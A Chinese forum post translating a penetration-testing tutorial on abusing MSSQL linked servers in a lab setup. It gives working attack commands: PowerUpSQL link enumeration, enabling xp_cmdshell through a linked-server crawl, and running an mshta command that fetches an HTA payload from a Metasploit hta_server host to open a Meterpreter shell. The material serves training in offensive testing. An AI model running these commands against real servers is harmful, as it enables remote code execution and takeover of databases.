飘云阁安全论坛

 找回密码
 快速注册

QQ登录

只需一步,快速开始

查看: 795|回复: 0

[经验分享] [翻译]MSSQL渗透测试:违规使用链接数据库

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2021-9-15 14:54:26 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2021-9-15 15:01 编辑

    原文信息
    地址:https://www.hackingarticles.in/m ... ng-linked-database/
    作者:Raj Chandel
    标题:MSSQL for Pentester: Abusing Linked Database
    日期:2021 年 9 月 11 日


    这篇文章是我们的MSSQL渗透测试系列的另一个补充。在这篇文章中,我们将学习如何创建一个链接服务器并利用它。
    内容一览表
    • 链接服务器简介
    • 实验环境配置
    • 利用链接服务器
      枚举
      使用PowerUpSQL和Metasploit进行代码执行
    链接服务器简介
    一个链接的服务器作为两个服务器之间的桥梁。通过一个链接,服务器数据库可以被两个或更多可以访问上述数据库的服务器查看/共享/编辑。表中的数据可以被连接在一起,并通过它进行查询。链接服务器是为那些需要对数据的存储和检索方式有更多灵活性的应用而设计的。无论应用程序是使用并行处理、随机查询,还是在多个Microsoft Access文件之间进行连接,关联服务器都为灵活的应用开发提供了一个更好的平台。来自多个来源的数据可以被添加到一个表中,或者附加到现有的数据上。你可以使用一个链接服务器来代替一个普通的表,就像你在复制一个现有的数据库表时可能做的那样。 以下事情可以通过链接服务器来完成。
    • 控制查询计划
    • 改变列的数据类型
    • 优化远程服务器上的查询
    • 改变本地表的计划
    • 访问远程表的数据
    • 删除本地数据库上的对象
    • 改变用于访问本地表的服务器
    • 重新连接到一个链接的服务器
    • 使用复制的参数
    • 允许远程更新

    实验环境配置
    我们将首先建立一个链接服务器。 在安装MSSQL服务器时,会自行创建一个默认服务器。但是我们需要另一个服务器,这样我们就可以把它们两个联系起来。因此,要创建另一个服务器,启动安装程序,并选择“New SQL Server Stand-alone installation or and add features to an existing installation”(新的SQL Server独立安装或并向现有安装添加功能),如下图所示:
    1.png
    然后点击“Next”(下一步)按钮,如下图所示:
    2.png
    在对话框的下一个窗口中,选择“Perform a new installation of SQL Server 2016”(执行SQL Server 2016的新安装),然后单击“Next”(下一步)按钮,如下图所示:
    3.png
    在功能选择对话框中,选择要安装的功能,并给出实例的路径。然后,点击“Next”(下一步)按钮,如下图所示:
    4.png
    在实例配置对话框中,给出服务器的名称,然后单击“Next”(下一步)按钮,如下图所示:
    5.png
    在“服务器配置”对话框中,确保启动是自动的,然后单击“Next”(下一步)按钮,如下图所示:
    6.png
    在“数据库引擎配置”对话框中,选择“身份验证模式”下的“混合模式”,并给出服务器的密码。点击“Next”(下一步)按钮,如下图所示:
    7.png
    安装完成后,单击"Close"(关闭)按钮;如下图所示:
    8.png
    现在要连接到服务器,请在"Authentication"(身份验证)的下拉菜单中选择" <Browse for more…> "(<浏览更多…>)选项,如下图所示:
    9.png
    选择您的服务器,然后单击"OK"(确定)按钮,如下图所示:
    10.png
    正如您在下图中看到的,我们有两台服务器:
    11.png
    现在转到"server>Servere Objects>Linked Servers"(主服务器>服务器对象>链接服务器)。右键单击链接服务器,并从下拉菜单中选择"New Linked Server… "(新建链接服务器…)选项,如下图所示:
    12.png
    在“链接服务器”选项中,给出要链接的服务器的名称。在"Server Type"(服务器类型)中,选择"Other data source"(其他数据源)。从"Provider"(提供程序)的下拉菜单中选择“来自SQL Server的Microsoft OLE DB提供程序”。将默认服务器作为数据源,并在"Catalog"(目录)中给出数据库名称。最后,点击“OK”(确定)按钮,如下图所示:
    20.png
    在服务器选项中,确保RPC和RPC输出为真,如下图所示:
    21.png
    在“安全”选项卡中,给出默认服务器的用户名和密码,然后单击“确定”按钮,如下图所示:
    22.png
    完成所有这些后,将创建如下图所示的链接服务器:

    23.png
    利用链接服务器
    枚举
    现在我们的链接服务器已经准备好了。作为攻击者,我们对服务器一无所知。因此,为了枚举链接服务器,我们将使用PowerUpSQL及其以下命令:
    1. Import-Module .\PowerUpSQL.ps1
    2. Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
    复制代码
    24.png
    如上图所示,我们有实例名、链接服务器名和目录名以及其他有用的信息。
    代码执行
    现在,为了远程访问链接的服务器,我们将使用PowerUpSQL和Metasploit。事实证明,这两个工具是攻击MSSQL Servers的最佳工具。
    在部署这些工具之前,我们可以转到facets >surface area configuration,并确认XPCmdshell已禁用,如下图所示:
    26.png
    现在,我们将通过使用PowerUpSQL的以下命令来启用这个XPCmdshell:
    1. Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"
    复制代码
    27.png
    现在已经启用了XPCmdshell,我们将使用Metasploit生成一个带有hta_server漏洞的url(网址),为此使用以下命令集:
    1. use exploit/windows/misc/hta_server
    2. set srvhost eth0
    3. exploit
    复制代码
    28.png
    [size=15.408px]我们有了自己的URL。现在,我们将通过PowerUpSQL执行这个URL,这样我们就可以有自己的Meterpreter会话,如下图所示。要部署所述网址,请使用以下命令:
    1. Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"
    复制代码

    29.png
    一旦命令被成功执行,我们将拥有如下图所示的meterpreter会话:
    30.png
    通过这种简单的方式,链接服务器可以被利用,并将会话交给攻击者。参考资料:https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-link-crawling-powerupsql/
    作者:Yashika Dhir是一名网络安全研究员、渗透测试员、红队队员、紫队爱好者。请在LinkedinTwitter上联系她
    您需要登录后才可以回帖 登录 | 快速注册

    本版积分规则

    快速回复 返回顶部 返回列表